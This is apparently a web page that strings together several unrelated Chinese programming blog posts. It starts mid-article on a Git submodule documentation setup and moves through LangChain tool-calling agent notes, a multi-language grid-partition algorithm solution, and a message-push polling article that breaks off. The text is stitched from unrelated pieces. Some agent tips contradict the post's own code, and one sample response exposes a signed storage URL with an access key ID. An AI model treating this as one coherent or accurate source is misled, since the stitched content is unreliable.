文档单独仓库 ⭐⭐⭐
Submodule ⭐⭐⭐⭐⭐

总结

通过 Git Submodule 将文档独立为单独仓库,我们实现了:

核心优势

  1. 独立部署 - 文档可以独立部署到 GitHub Pages / Cloudflare Pages
  2. 版本关联 - 通过 submodule 保持文档和代码的版本对应
  3. CI/CD 独立 - 文档更新不会触发主项目构建
  4. 灵活管理 - 可以独立配置文档的自动化流程
  5. 版本追溯 - 可以精确追溯每个版本对应的文档内容

适用场景

  • ✅ 中大型开源项目
  • ✅ 文档更新频繁的项目
  • ✅ 需要独立部署文档的项目
  • ✅ 多版本文档管理需求

这个方案完美解决了文档与代码耦合的问题,既保持了独立性,又维持了关联性,是开源项目文档管理的最佳实践之一。

参考资源


如果这篇文章对你有帮助,欢迎点赞、收藏、关注! 🎉

ReACT Agent 开发知识点总结

📚 ReACT Agent 开发知识点总结

python langchain QW 文生图

一、核心概念

1. Agent 的两种创建方式

方法 create_react_agent create_tool_calling_agent
原理 文本解析(Thought/Action/Observation) 原生工具调用(Function Calling)
提示词 严格格式要求 简单通用
可靠性 ⭐⭐⭐(易解析失败) ⭐⭐⭐⭐⭐(结构化调用)
模型要求 任意 LLM 支持 Function Calling 的模型
推荐度 旧项目兼容 强烈推荐

2. 工作流程对比

ReAct Agent:
用户输入 → LLM 生成文本 → 正则解析 → 提取 Action → 执行工具 → 返回 Observation
          ↑                                                        ↓
          └─────────────────── 循环多次 ───────────────────────────┘

Tool Calling Agent:
用户输入 → LLM 结构化输出 → 自动匹配工具 → 执行 → 返回结果
          (JSON 格式)                              ↓
                                            自动生成回答

二、关键代码模式

正确的 Tool Calling Agent 实现

from langchain.agents import create_tool_calling_agent, AgentExecutor
from langchain_core.tools import Tool
from langchain_openai import ChatOpenAI

# 1. 定义工具
def search_func(query: str) -> str:
    return f"搜索结果:{query}"

search_tool = Tool(
    name="search",
    description="搜索信息",
    func=search_func,
)

tools = [search_tool]

# 2. 初始化 LLM
llm = ChatOpenAI(model="qwen3-max", api_key="...", base_url="...")

# 3. 🔑 关键步骤:绑定工具
llm_with_tools = llm.bind_tools(tools)

# 4. 创建 Agent
prompt = ChatPromptTemplate.from_messages([
    ("system", "你是助手,可用工具:{tools}"),
    ("human", "{input}"),
    ("placeholder", "{agent_scratchpad}"),
])

agent = create_tool_calling_agent(
    llm=llm_with_tools,  # ✅ 使用绑定工具的 LLM
    tools=tools,          # ✅ 工具列表
    prompt=prompt
)

# 5. 创建执行器
executor = AgentExecutor(
    agent=agent,
    tools=tools,
    verbose=True,
    handle_parsing_errors=True,
    max_iterations=5
)

# 6. ✅ 正确调用方式
result = executor.invoke({"input": "用户问题"})
print(result["output"])

三、常见错误与修复

错误 1:直接传字符串给 invoke

# ❌ 错误
executor.invoke("用户问题")

# ✅ 正确
executor.invoke({"input": "用户问题"})

错误 2:未绑定工具

# ❌ 错误
agent = create_tool_calling_agent(llm=llm, tools=tools, ...)

# ✅ 正确
llm_with_tools = llm.bind_tools(tools)
agent = create_tool_calling_agent(llm=llm_with_tools, tools=tools, ...)

错误 3:使用非标准 Tool 类

# ❌ 容易出错
google_serper = GoogleSerperRun(...)

# ✅ 推荐
google_serper = Tool(
    name="google_serper",
    func=google_serper_api.run,
    description="..."
)

错误 4:Placeholder 格式错误

# ❌ 错误
("placeholder", "chat_history")

# ✅ 正确
MessagesPlaceholder(variable_name="chat_history", optional=True)
# 或
("placeholder", "{chat_history}")  # 注意花括号

四、工具定义最佳实践

1. 简单工具 - 使用 Tool 包装

tool = Tool(
    name="tool_name",
    func=function,
    description="清晰的用途说明",
)

2. 复杂参数 - 添加 args_schema

from pydantic.v1 import BaseModel, Field

class ArgsSchema(BaseModel):
    query: str = Field(..., description="参数描述")

tool = Tool(
    name="tool_name",
    func=function,
    args_schema=ArgsSchema,
    description="..."
)

3. 自定义 API - 封装函数

def generate_image(prompt: str) -> str:
    """使用阿里云生成图片"""
    try:
        response = MultiModalConversation.call(...)
        
        # ✅ 正确解析嵌套结构
        if response.output and response.output.get('choices'):
            content = response.output['choices'][0]['message']['content']
            for item in content:
                if 'image' in item:
                    return f"图片链接:{item['image']}"
        
        return "生成失败"
    except Exception as e:
        return f"出错:{str(e)}"

image_tool = Tool(
    name="image_generator",
    func=generate_image,
    description="根据描述生成图片",
    args_schema=DallEArgsSchema
)

五、API 响应解析技巧

阿里云通义万相响应结构

{
  "output": {
    "choices": [
      {
        "message": {
          "content": [
            {"image": "https://..."}  // 或 {"text": "..."}
          ]
        }
      }
    ]
  }
}

安全解析代码

def parse_response(response):
    try:
        # 多层防御式解析
        if response.output:
            choices = response.output.get('choices', [])
            if choices:
                content = choices[0].get('message', {}).get('content', [])
                for item in content:
                    if isinstance(item, dict) and 'image' in item:
                        return item['image']
        
        # 备用方案
        if response.output and response.output.get('text'):
            return response.output['text']
            
        return "无法解析响应"
    except Exception as e:
        return f"解析出错:{str(e)}"

六、提示词设计要点

优秀提示词模板

prompt = ChatPromptTemplate.from_messages([
    ("system", 
     "你是智能助手,可使用工具帮助用户。\n"
     "\n"
     "可用工具:\n"
     "{tools}\n"
     "\n"
     "使用格式:\n"
     "- Thought: 分析问题\n"
     "- Action: 选择工具\n"
     "- Action Input: 参数\n"
     "- Observation: 结果\n"
     "- Final Answer: 最终回答\n"
     "\n"
     "注意:\n"
     "- 生成图片用 openai_dalle\n"
     "- 搜索信息用 google_serper\n"
     "- 英文描述图片效果更好"
    ),
    MessagesPlaceholder("chat_history", optional=True),
    ("human", "{input}"),
    ("placeholder", "{agent_scratchpad}"),
])

七、调试技巧

1. 启用详细日志

executor = AgentExecutor(verbose=True, ...)

2. 限制迭代次数

executor = AgentExecutor(max_iterations=5, ...)  # 防止无限循环

3. 错误处理

executor = AgentExecutor(handle_parsing_errors=True, ...)  # 自动修复

4. 打印中间结果

def generate_image(prompt):
    print(f"收到请求:{prompt}")
    response = ...
    print(f"API 响应:{response}")
    return result

八、完整流程图

用户提问
   ↓
┌─────────────────────────────────────┐
│  AgentExecutor.invoke({"input": ...}) │
└─────────────────────────────────────┘
   ↓
┌─────────────────────────────────────┐
│  create_tool_calling_agent           │
│  - 分析是否需要工具                  │
│  - 输出结构化 JSON                   │
└─────────────────────────────────────┘
   ↓
┌─────────────────────────────────────┐
│  判断 Action                          │
│  - None → 直接回答                   │
│  - tool_name → 执行工具              │
└─────────────────────────────────────┘
   ↓
┌─────────────────────────────────────┐
│  Tool.run()                          │
│  - 调用实际函数                      │
│  - 返回 Observation                  │
└─────────────────────────────────────┘
   ↓
┌─────────────────────────────────────┐
│  循环或生成最终回答                  │
└─────────────────────────────────────┘

九、核心要点速记

必须做的:

  1. 使用 bind_tools() 绑定工具
  2. invoke() 传入字典 {"input": "..."}
  3. 使用 Tool 包装自定义函数
  4. 添加 handle_parsing_errors=True
  5. 设置 max_iterations 防止死循环

避免做的:

  1. 不要直接传字符串给 invoke()
  2. 不要使用非标准 Tool 类(如 GoogleSerperRun
  3. 不要忘记绑定工具就创建 Agent
  4. 不要使用错误的 Placeholder 格式
  5. 不要假设 API 响应结构固定

十、扩展学习

下一步可以学习:

  • 🔄 添加对话历史记忆(Memory)
  • 📊 多工具协同工作
  • 🎯 自定义 Agent 路由逻辑
  • 📝 更复杂的提示词工程
  • 🔐 生产环境的错误处理和重试机制

十、核心代码

import os
from dashscope import MultiModalConversation

import dotenv
from langchain_classic.agents import AgentExecutor, create_react_agent, create_tool_calling_agent
from langchain_community.tools import GoogleSerperRun
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.tools import render_text_description_and_args, Tool
from langchain_openai import ChatOpenAI
from pydantic.v1 import Field, BaseModel
from langchain_community.utilities import GoogleSerperAPIWrapper

dotenv.load_dotenv()


class GoogleSerperArgsSchema(BaseModel):
    query: str = Field(..., description="执行谷歌搜索的查询语句")


class DallEArgsSchema(BaseModel):
    query: str = Field(..., description="输入是生成图像的文本提示(prompt)")




def generate_image(prompt: str) -> str:
    """使用阿里云通义万相生成图片"""
    messages = [
        {
            "role": "user",
            "content": [
                {"text": prompt}
            ]
        }
    ]

    try:
        response = MultiModalConversation.call(
            api_key=os.getenv("OPENAI_API_KEY"),
            model="qwen-image-2.0-pro",
            messages=messages,
            result_format='message',
            stream=False,
            watermark=False,
            prompt_extend=True,
            negative_prompt="低分辨率,低画质,肢体畸形,手指畸形,画面过饱和,蜡像感,人脸无细节,过度光滑,画面具有 AI 感。构图混乱。文字模糊,扭曲。",
            size='2048*2048'
        )

        print("API 响应:", response)

        # 从 output.choices 中获取图片
        # {"status_code": 200, "request_id": "6ab051b0-6c8f-4675-974f-919143e91d98", "code": "", "message": "", "output": {"text": null, "finish_reason": null, "choices": [{"finish_reason": "stop", "message": {"role": "assistant", "content": [{"image": "https://dashscope-7c2c.oss-accelerate.aliyuncs.com/7d/c3/20260326/e74037e8/2d748881-31a4-4e0a-b2c3-1508ee17a3f1.png?Expires=1775104234&OSSAccessKeyId=LTAI5tPxpiCM2hjmWrFXrym1&Signature=4t53r7bOV3%2Fg01L%2FUPvouMgqKeQ%3D"}]}}], "audio": null}, "usage": {"input_tokens": 0, "output_tokens": 0, "characters": 0, "height": 2048, "image_count": 1, "width": 2048}}
        if response.output and response.output.get('choices'):
            choices = response.output['choices']
            if len(choices) > 0:
                message = choices[0].get('message', {})
                content = message.get('content', [])

                if isinstance(content, list) and len(content) > 0:
                    # 查找包含 image 的内容
                    for item in content:
                        if isinstance(item, dict) and 'image' in item:
                            image_url = item['image']
                            return f"图片已生成成功!\n图片链接:{image_url}"

                    # 如果没有找到 image,返回文本内容
                    text_content = content[0].get('text', '')
                    if text_content:
                        return f"生成结果:{text_content}"

        # 备用方案:尝试从 output.text 获取
        if response.output and response.output.get('text'):
            return f"生成结果:{response.output['text']}"

        return "图片生成失败,无法解析响应数据"

    except Exception as e:
        print(f"异常详情:{str(e)}")
        return f"图片生成出错:{str(e)}"





google_serper = GoogleSerperRun(
    name="google_serper",
    description=(
        "根据传入的搜索内容,返回搜索结果"
        "谷歌搜索工具"
    ),
    args_schema=GoogleSerperArgsSchema,
    api_wrapper=GoogleSerperAPIWrapper(),
)

dalle = Tool(
    name="openai_dalle",
    description="根据传入的描述生成图片。当用户要求生成图像、创建图片、画图时使用此工具。输入应该是详细的图像描述。",
    func=generate_image,
    args_schema=DallEArgsSchema,
)
tools = [
    google_serper,
    dalle
]

prompt = ChatPromptTemplate.from_messages([
    ("system", "Answer the following questions as best you can. You have access to the following tools:"),
    ("placeholder", "{chat_history}"),
    ("human", "{input}"),
    ("placeholder", "{agent_scratchpad}"),
])

llm = ChatOpenAI(
    model="qwen3-max-2026-01-23",
    api_key=os.getenv("OPENAI_API_KEY"),
    base_url=os.getenv("OPENAI_API_BASE_URL")
)
# 绑定工具到 LLM
agent = create_tool_calling_agent(
    llm=llm,
    tools=tools,
    prompt=prompt
)

agent_executor = AgentExecutor(agent=agent, tools=tools, verbose=True)

print(agent_executor.invoke({"input": "帮我生成一张老爷爷爬山的图片, 要求是 亚洲脸"}))

等和矩阵分割 II

方法一:旋转矩阵 + 哈希表 + 枚举上半矩阵之和

思路与算法

本题是「等和矩阵分割 I」的增强版,在这一题的基础上,添加了 删除至多一个单元格 并且 删除后剩余部分必须保持连通 的条件。

那么需要进行删除的时候,我们需要考虑两条分割线的选取以及删除分割线哪一边的元素,为了简化思路,假设我们只判断是否存在水平分割线,并且进行删除操作时只删除水平分割线以上的元素。

能够发现,我们将矩阵进行 $3$ 次 $90$ 度的旋转,每次旋转后进行如上述所说的简化操作,就能够覆盖枚举分割线以及枚举删除元素的位置所带来的 $4$ 种不同情况。

接下来分析如何判断:

  1. 假设当前 $\textit{grid}$ 上半矩阵之和为 $\textit{sum}$,整个矩阵 $\textit{grid}$ 之和为 $\textit{total}$,那么 $\textit{grid}$ 下半矩阵之和为 $\textit{total} - \textit{sum}$。
  2. 假设我们要删除的元素为 $x$,那么需要满足 $\textit{sum} - x == \textit{total} - \textit{sum}$,于是有:$x == \textit{sum} * 2 - \textit{total}$。
  3. 因此在枚举完每一行之后只需要判断是否存在 $\textit{grid}[i][j]$ 满足 $\textit{grid}[i][j] == \textit{sum} * 2 - \textit{total}$ 即可。

我们可以使用一个集合来保存出现过的元素,便于判断是否存在满足题目要求的元素,集合中可以预存一个 $0$,这样可以将删除元素与不删除元素合并为一种情况。

特殊情况处理:

  1. 矩阵 $\textit{grid}$ 在遍历第一行的情况:
    在遍历第一行时能够删除的元素只有第一行的首尾元素,因此在统计完第一行的和之后需要判断 $\textit{grid}[0][0]$ 或者 $\textit{grid}[0][n - 1]$ 或者 $0$ 是否满足题目要求。
  2. 矩阵 $\textit{grid}$ 只有一列的情况:
    $\textit{grid}$ 只有一列时能够删除的元素只有首行以及尾行的元素,需要在遍历第 $i$ 行后判断 $\textit{grid}[0][0]$ 或者 $\textit{grid}[i][0]$ 或者 $0$ 是否满足题目要求。
  3. 当矩阵 $\textit{grid}$ 只有一行时可以跳过,因为无法进行水平分割。

其他情况中 $\textit{grid}$ 上半矩阵中所有的元素均可被删除。

在 $3$ 次旋转后就能够将所有情况覆盖到。

代码

###C++

class Solution {
public:
    vector<vector<int>> rotation(vector<vector<int>>& grid) {
        int m = grid.size(), n = grid[0].size();
        vector tmp(n, vector<int>(m));
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                tmp[j][m - 1 - i] = grid[i][j];
            }
        }
        return tmp;
    }
    bool canPartitionGrid(vector<vector<int>>& grid) {
        long long total = 0;
        long long sum;
        long long tag;
        int m = grid.size();
        int n = grid[0].size();
        unordered_set<long long> exist;
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                total += grid[i][j];
            }
        }
        for (int k = 0; k < 4; k++) {
            exist.clear();
            exist.insert(0);
            sum = 0;
            m = grid.size();
            n = grid[0].size();
            if (m < 2) {
                grid = rotation(grid);
                continue;
            }
            if(n == 1){
                for(int i = 0; i < m - 1; i++){
                    sum += grid[i][0];
                    tag = sum * 2 - total;
                    if(tag == 0 || tag == grid[0][0] || tag == grid[i][0]){
                        return true;
                    }
                }
                grid = rotation(grid);
                continue;
            }
            for (int i = 0; i < m - 1; i++) {
                for(int j = 0; j < n; j++){
                    exist.insert(grid[i][j]);
                    sum += grid[i][j];
                }
                tag = sum * 2 - total;
                if(i == 0){
                    if(tag == 0 || tag == grid[0][0] || tag == grid[0][n - 1]){
                        return true;
                    }
                    continue;
                }
                if(exist.contains(tag)){
                    return true;
                }
            }
            grid = rotation(grid);
        }
        return false;
    }
};

###JavaScript

var canPartitionGrid = function(grid) {
    let total = 0;
    let m = grid.length;
    let n = grid[0].length;
    for (let i = 0; i < m; i++) {
        for (let j = 0; j < n; j++) {
            total += grid[i][j];
        }
    }
    for (let k = 0; k < 4; k++) {
        const exist = new Set();
        exist.add(0);
        let sum = 0;
        m = grid.length;
        n = grid[0].length;
        if (m < 2) {
            grid = rotation(grid);
            continue;
        }
        if (n == 1) {
            for (let i = 0; i < m - 1; i++) {
                sum += grid[i][0];
                let tag = sum * 2 - total;
                if (tag == 0 || tag == grid[0][0] || tag == grid[i][0]) {
                    return true;
                }
            }
            grid = rotation(grid);
            continue;
        }
        for (let i = 0; i < m - 1; i++) {
            for (let j = 0; j < n; j++) {
                exist.add(grid[i][j]);
                sum += grid[i][j];
            }
            let tag = sum * 2 - total;
            if (i == 0) {
                if (tag == 0 || tag == grid[0][0] || tag == grid[0][n - 1]) {
                    return true;
                }
                continue;
            }
            if (exist.has(tag)) {
                return true;
            }
        }
        grid = rotation(grid);
    }
    return false;
};

function rotation(grid) {
    const m = grid.length, n = grid[0].length;
    const tmp = Array.from({ length: n }, () => Array(m).fill(0));
    for (let i = 0; i < m; i++) {
        for (let j = 0; j < n; j++) {
            tmp[j][m - 1 - i] = grid[i][j];
        }
    }
    return tmp;
}

###TypeScript

function canPartitionGrid(grid: number[][]): boolean {
    let total = 0;
    let m = grid.length;
    let n = grid[0].length;
    for (let i = 0; i < m; i++) {
        for (let j = 0; j < n; j++) {
            total += grid[i][j];
        }
    }
    for (let k = 0; k < 4; k++) {
        const exist = new Set<number>();
        exist.add(0);
        let sum = 0;
        m = grid.length;
        n = grid[0].length;
        if (m < 2) {
            grid = rotation(grid);
            continue;
        }
        if (n == 1) {
            for (let i = 0; i < m - 1; i++) {
                sum += grid[i][0];
                let tag = sum * 2 - total;
                if (tag == 0 || tag == grid[0][0] || tag == grid[i][0]) {
                    return true;
                }
            }
            grid = rotation(grid);
            continue;
        }
        for (let i = 0; i < m - 1; i++) {
            for (let j = 0; j < n; j++) {
                exist.add(grid[i][j]);
                sum += grid[i][j];
            }
            let tag = sum * 2 - total;
            if (i == 0) {
                if (tag == 0 || tag == grid[0][0] || tag == grid[0][n - 1]) {
                    return true;
                }
                continue;
            }
            if (exist.has(tag)) {
                return true;
            }
        }
        grid = rotation(grid);
    }
    return false;
}

function rotation(grid: number[][]): number[][] {
    const m = grid.length, n = grid[0].length;
    const tmp: number[][] = Array.from({ length: n }, () => Array(m).fill(0));
    for (let i = 0; i < m; i++) {
        for (let j = 0; j < n; j++) {
            tmp[j][m - 1 - i] = grid[i][j];
        }
    }
    return tmp;
}

###Java

class Solution {
    public boolean canPartitionGrid(int[][] grid) {
        long total = 0;
        int m = grid.length;
        int n = grid[0].length;
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                total += grid[i][j];
            }
        }
        for (int k = 0; k < 4; k++) {
            Set<Long> exist = new HashSet<>();
            exist.add(0L);
            long sum = 0;
            m = grid.length;
            n = grid[0].length;
            if (m < 2) {
                grid = rotation(grid);
                continue;
            }
            if (n == 1) {
                for (int i = 0; i < m - 1; i++) {
                    sum += grid[i][0];
                    long tag = sum * 2 - total;
                    if (tag == 0 || tag == grid[0][0] || tag == grid[i][0]) {
                        return true;
                    }
                }
                grid = rotation(grid);
                continue;
            }
            for (int i = 0; i < m - 1; i++) {
                for (int j = 0; j < n; j++) {
                    exist.add((long) grid[i][j]);
                    sum += grid[i][j];
                }
                long tag = sum * 2 - total;
                if (i == 0) {
                    if (tag == 0 || tag == grid[0][0] || tag == grid[0][n - 1]) {
                        return true;
                    }
                    continue;
                }
                if (exist.contains(tag)) {
                    return true;
                }
            }
            grid = rotation(grid);
        }
        return false;
    }

    public int[][] rotation(int[][] grid) {
        int m = grid.length, n = grid[0].length;
        int[][] tmp = new int[n][m];
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                tmp[j][m - 1 - i] = grid[i][j];
            }
        }
        return tmp;
    }
}

###C#

public class Solution {
    public bool CanPartitionGrid(int[][] grid) {
        long total = 0;
        int m = grid.Length;
        int n = grid[0].Length;
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                total += grid[i][j];
            }
        }
        for (int k = 0; k < 4; k++) {
            HashSet<long> exist = new HashSet<long>();
            exist.Add(0);
            long sum = 0;
            m = grid.Length;
            n = grid[0].Length;
            if (m < 2) {
                grid = Rotation(grid);
                continue;
            }
            if (n == 1) {
                for (int i = 0; i < m - 1; i++) {
                    sum += grid[i][0];
                    long tag = sum * 2 - total;
                    if (tag == 0 || tag == grid[0][0] || tag == grid[i][0]) {
                        return true;
                    }
                }
                grid = Rotation(grid);
                continue;
            }
            for (int i = 0; i < m - 1; i++) {
                for (int j = 0; j < n; j++) {
                    exist.Add(grid[i][j]);
                    sum += grid[i][j];
                }
                long tag = sum * 2 - total;
                if (i == 0) {
                    if (tag == 0 || tag == grid[0][0] || tag == grid[0][n - 1]) {
                        return true;
                    }
                    continue;
                }
                if (exist.Contains(tag)) {
                    return true;
                }
            }
            grid = Rotation(grid);
        }
        return false;
    }

    public int[][] Rotation(int[][] grid) {
        int m = grid.Length, n = grid[0].Length;
        int[][] tmp = new int[n][];
        for (int i = 0; i < n; i++) {
            tmp[i] = new int[m];
        }
        for (int i = 0; i < m; i++) {
            for (int j = 0; j < n; j++) {
                tmp[j][m - 1 - i] = grid[i][j];
            }
        }
        return tmp;
    }
}

###Go

func canPartitionGrid(grid [][]int) bool {
    var total int64 = 0
    m, n := len(grid), len(grid[0])
    for i := 0; i < m; i++ {
        for j := 0; j < n; j++ {
            total += int64(grid[i][j])
        }
    }
    for k := 0; k < 4; k++ {
        exist := make(map[int64]bool)
        exist[0] = true
        var sum int64 = 0
        m, n = len(grid), len(grid[0])
        if m < 2 {
            grid = rotation(grid)
            continue
        }
        if n == 1 {
            for i := 0; i < m-1; i++ {
                sum += int64(grid[i][0])
                tag := sum*2 - total
                if tag == 0 || tag == int64(grid[0][0]) || tag == int64(grid[i][0]) {
                    return true
                }
            }
            grid = rotation(grid)
            continue
        }
        for i := 0; i < m-1; i++ {
            for j := 0; j < n; j++ {
                exist[int64(grid[i][j])] = true
                sum += int64(grid[i][j])
            }
            tag := sum*2 - total
            if i == 0 {
                if tag == 0 || tag == int64(grid[0][0]) || tag == int64(grid[0][n-1]) {
                    return true
                }
                continue
            }
            if exist[tag] {
                return true
            }
        }
        grid = rotation(grid)
    }
    return false
}

func rotation(grid [][]int) [][]int {
    m, n := len(grid), len(grid[0])
    tmp := make([][]int, n)
    for i := range tmp {
        tmp[i] = make([]int, m)
    }
    for i := 0; i < m; i++ {
        for j := 0; j < n; j++ {
            tmp[j][m-1-i] = grid[i][j]
        }
    }
    return tmp
}

###Python

class Solution:
    def canPartitionGrid(self, grid: List[List[int]]) -> bool:
        total = 0
        m = len(grid)
        n = len(grid[0])
        for i in range(m):
            for j in range(n):
                total += grid[i][j]
        for _ in range(4):
            exist = set()
            exist.add(0)
            sum_val = 0
            m = len(grid)
            n = len(grid[0])
            if m < 2:
                grid = self.rotation(grid)
                continue
            if n == 1:
                for i in range(m - 1):
                    sum_val += grid[i][0]
                    tag = sum_val * 2 - total
                    if tag == 0 or tag == grid[0][0] or tag == grid[i][0]:
                        return True
                grid = self.rotation(grid)
                continue
            for i in range(m - 1):
                for j in range(n):
                    exist.add(grid[i][j])
                    sum_val += grid[i][j]
                tag = sum_val * 2 - total
                if i == 0:
                    if tag == 0 or tag == grid[0][0] or tag == grid[0][n - 1]:
                        return True
                    continue
                if tag in exist:
                    return True
            grid = self.rotation(grid)
        return False

    def rotation(self, grid: List[List[int]]) -> List[List[int]]:
        m = len(grid)
        n = len(grid[0])
        tmp = [[0] * m for _ in range(n)]
        for i in range(m):
            for j in range(n):
                tmp[j][m - 1 - i] = grid[i][j]
        return tmp

###C

typedef struct {
    long long key;
    UT_hash_handle hh;
} HashItem;

static inline HashItem* hashFindItem(HashItem **obj, long long key) {
    HashItem *pEntry = NULL;
    HASH_FIND(hh, *obj, &key, sizeof(key), pEntry);
    return pEntry;
}

bool hashAddItem(HashItem **obj, long long key) {
    if (hashFindItem(obj, key)) {
        return false;
    }
    HashItem *pEntry = malloc(sizeof(HashItem));
    if (!pEntry) return false;
    pEntry->key = key;
    HASH_ADD(hh, *obj, key, sizeof(key), pEntry);
    return true;
}

void hashFree(HashItem **obj) {
    HashItem *curr, *tmp;
    HASH_ITER(hh, *obj, curr, tmp) {
        HASH_DEL(*obj, curr);
        free(curr);
    }
    *obj = NULL;
}


int** rotation(int** grid, int m, int n, int* newM, int* newN) {
    *newM = n;
    *newN = m;
    int** tmp = malloc(n * sizeof(int*));
    int* data = malloc(n * m * sizeof(int));
    if (!tmp || !data) {
        free(tmp);
        free(data);
        return NULL;
    }
    for (int i = 0; i < n; i++) {
        tmp[i] = data + i * m;
    }
    for (int i = 0; i < m; i++) {
        for (int j = 0; j < n; j++) {
            tmp[j][m - 1 - i] = grid[i][j];
        }
    }
    return tmp;
}

void freeGrid(int** grid, int rows) {
    if (grid && grid[0]) {
        free(grid[0]);
    }
    free(grid);
}

static inline bool checkAndReturnTrue(HashItem **exist, int** currentGrid, int currentM, int** originalGrid) {
    hashFree(exist);
    if (currentGrid != originalGrid) {
        freeGrid(currentGrid, currentM);
    }
    return true;
}

static inline void rotateAndUpdate(int** *currentGrid, int *currentM, int *currentN, int** originalGrid) {
    int newM, newN;
    int** newGrid = rotation(*currentGrid, *currentM, *currentN, &newM, &newN);
    if (*currentGrid != originalGrid) {
        freeGrid(*currentGrid, *currentM);
    }
    *currentGrid = newGrid;
    *currentM = newM;
    *currentN = newN;
}

bool canPartitionGrid(int** grid, int gridSize, int* gridColSize) {
    const int m = gridSize;
    const int n = gridColSize[0];
    long long total = 0;

    for (int i = 0; i < m; i++) {
        for (int j = 0; j < n; j++) {
            total += grid[i][j];
        }
    }
    int currentM = m, currentN = n;
    int** currentGrid = grid;

    for (int k = 0; k < 4; k++) {
        HashItem* exist = NULL;
        hashAddItem(&exist, 0LL);
        long long sum = 0;
        if (currentM < 2 || currentN == 1) {
            if (currentN == 1 && currentM >= 2) {
                for (int i = 0; i < currentM - 1; i++) {
                    sum += currentGrid[i][0];
                    long long tag = sum * 2 - total;
                    if (tag == 0 || tag == currentGrid[0][0] || tag == currentGrid[i][0]) {
                        return checkAndReturnTrue(&exist, currentGrid, currentM, grid);
                    }
                }
            }
            rotateAndUpdate(&currentGrid, &currentM, &currentN, grid);
            hashFree(&exist);
            continue;
        }

        for (int i = 0; i < currentM - 1; i++) {
            for (int j = 0; j < currentN; j++) {
                hashAddItem(&exist, (long long)currentGrid[i][j]);
                sum += currentGrid[i][j];
            }
            long long tag = sum * 2 - total;
            if (i == 0) {
                if (tag == 0 || tag == currentGrid[0][0] || tag == currentGrid[0][currentN - 1]) {
                    return checkAndReturnTrue(&exist, currentGrid, currentM, grid);
                }
                continue;
            }
            if (hashFindItem(&exist, tag)) {
                return checkAndReturnTrue(&exist, currentGrid, currentM, grid);
            }
        }

        rotateAndUpdate(&currentGrid, &currentM, &currentN, grid);
        hashFree(&exist);
    }

    if (currentGrid != grid) {
        freeGrid(currentGrid, currentM);
    }

    return false;
}

###Rust

use std::collections::HashSet;

impl Solution {
    fn rotation(grid: &Vec<Vec<i32>>) -> Vec<Vec<i32>> {
        let m = grid.len();
        let n = grid[0].len();
        let mut tmp = vec![vec![0; m]; n];

        for i in 0..m {
            for j in 0..n {
                tmp[j][m - 1 - i] = grid[i][j];
            }
        }
        tmp
    }

    pub fn can_partition_grid(grid: Vec<Vec<i32>>) -> bool {
        let mut grid = grid;
        let mut total: i64 = 0;
        let mut sum: i64;
        let mut tag: i64;
        let mut m = grid.len();
        let mut n = grid[0].len();
        for i in 0..m {
            for j in 0..n {
                total += grid[i][j] as i64;
            }
        }

        let mut exist = HashSet::new();

        for _ in 0..4 {
            exist.clear();
            exist.insert(0);
            sum = 0;
            m = grid.len();
            n = grid[0].len();
            if m < 2 {
                grid = Self::rotation(&grid);
                continue;
            }
            if n == 1 {
                for i in 0..m - 1 {
                    sum += grid[i][0] as i64;
                    tag = sum * 2 - total;
                    if tag == 0 || tag == grid[0][0] as i64 || tag == grid[i][0] as i64 {
                        return true;
                    }
                }
                grid = Self::rotation(&grid);
                continue;
            }

            for i in 0..m - 1 {
                for j in 0..n {
                    exist.insert(grid[i][j] as i64);
                    sum += grid[i][j] as i64;
                }

                tag = sum * 2 - total;

                if i == 0 {
                    if tag == 0 || tag == grid[0][0] as i64 || tag == grid[0][n - 1] as i64 {
                        return true;
                    }
                    continue;
                }

                if exist.contains(&tag) {
                    return true;
                }
            }

            grid = Self::rotation(&grid);
        }

        false
    }
}

复杂度分析

  • 时间复杂度:$O(mn)$,其中 $m$ 为 $\textit{grid}$ 矩阵的行数,$n$ 为 $\textit{grid}$ 矩阵的列数。

  • 空间复杂度:$O(mn)$,其中 $m$ 为 $\textit{grid}$ 矩阵的行数,$n$ 为 $\textit{grid}$ 矩阵的列数。

你发送的消息,微信到底怎么送到的?

为什么你发一条消息,对方瞬间就能收到?浏览器网页刷新一下要好几秒,为什么微信能做到"秒回"?

今天,用**"敲门"**的故事,来讲讲消息推送的技术原理。


原文地址

墨渊书肆/你发送的消息,微信到底怎么送到的?


浏览器为什么"落后"于微信?

你给朋友发微信,消息瞬间送达,甚至能看到对方"正在输入"。

但打开网页版邮箱想知道有没有新邮件,只能手动刷新页面。

这个差异源于HTTP协议天生就是"单向"的

回顾一下HTTP的工作方式:

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(一秒钟后)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(又一秒)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「有了!你的验证码是123456。」

这就是问题所在:HTTP是"拉取"(Pull)模式,必须由客户端主动发起请求,服务器才能响应。

而微信采用的是 "推送"(Push)模式 ——有新消息时,服务器主动通知客户端。


方案一:短轮询——持续敲门确认对方在不在

最早的解决方案很简单:持续轮询

每秒向服务器发送一次请求:「有没有新消息?」

服务器回复:「没有。」

继续问。

服务器回复:「没有。」

继续问。

服务器回复:「有了!有人给你点赞了!」

这就是短轮询(Short Polling)

实现示例

setInterval(async () => {
  const response = await fetch('/api/check-messages');
  const data = await response.json();
  if (data.hasNew) {
    showNotification(data.message);
  }
}, 1000);

短轮询的问题

问题 说明
资源浪费 无论是否有消息,每秒都在发送HTTP请求
带宽浪费 99%的情况下服务器回复都是{hasNew: false}
延迟高 新消息到达时机恰好在轮询间隔之间时,需等待下一个周期

短轮询如同执着推销员,每隔一分钟就敲一次门问要不要买保险,邻居不堪其扰。


方案二:长轮询——餐厅等位,服务员主动叫号

能否改为"等待"而非"持续询问"?

**长轮询(Long Polling)**正是这个思路的产物。

以餐厅吃饭为例。短轮询如同每隔一分钟就跑到前台问一次"轮到我没有?",服务员每次都说"还没有"。

长轮询则是拿号等待,服务员叫号时主动来找你——"38号客户,请入座"——无需频繁询问。

长轮询的工作流程

1. 客户端  服务器:GET /api/messages(请求挂起)
2. 服务器  客户端:(等待中……有新消息才返回响应)
